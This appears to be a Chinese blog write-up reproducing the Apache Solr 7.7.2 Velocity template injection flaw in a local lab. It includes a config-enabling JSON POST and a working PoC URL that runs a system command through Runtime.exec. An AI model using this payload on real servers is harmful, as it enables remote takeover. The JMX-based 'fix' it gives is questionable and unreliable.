Apache Solr Velocity模版注入远程命令执行复现


Apache Solr Velocity模版注入远程命令执行漏洞复现


环境下载

https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.7.2/

unzip solr-7.7.2.zip
cd solr-7.7.2/bin
./solr start -force

注意solr-7.7.2/bin目录下的solr.in.sh文件设置
ENABLE_REMOTE_JMX_OPTS="true"

否则复现不成功(失败了好多次才发现)

默认端口为 8983,我该了端口为8984。

复现过程

然后使用浏览器访问 solr,在浏览器新建一个 core。可能会遇到无法添加 core 问题,将 /solr-7.7.0/server/solr/configsets/_default 下的 conf 文件夹复制到 demo(自己新建的core名) 文件夹下即可。

然后向core 的 config 文件 POST 发送一个 json 格式的数据包,将 params.resource.loader.enabled 设置为 ture(默认为 false)

POST包如下:

{
 "update-queryresponsewriter": {
   "startup": "lazy",
   "name": "velocity",
   "class": "solr.VelocityResponseWriter",
    "template.base.dir":"",
   "solr.resource.loader.enabled": "true",
   "params.resource.loader.enabled": "true"
  }
}

然后就可以利用POC执行命令。

http://127.0.0.1:8984/solr/new_core/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

漏洞修复

solr.in.sh文件设置

ENABLE_REMOTE_JMX_OPTS="false"


 上一篇
CVE-2019-10758 Mongo-express远程代码执行复现 CVE-2019-10758 Mongo-express远程代码执行复现
CVE-2019-10758 Mongo-express远程代码执行复现 Mongo-express是MongoDB的数据库管理工具。 影响版本mongo-express < 0.54.0 环境搭建使用docker搭建环境 浏览器访
2020-03-24
下一篇 
CVE-2020-0554  phpMyAdmin后台注入复现 CVE-2020-0554 phpMyAdmin后台注入复现
CVE-2020-0554 phpMyAdmin后台注入漏洞复现 影响版本phpMyAdmin 4 < 4.9.4phpMyAdmin 5 < 5.0.1 利用前提已知一个用户名及密码 环境使用docker搭建 复现存在漏洞
2020-03-13
  目录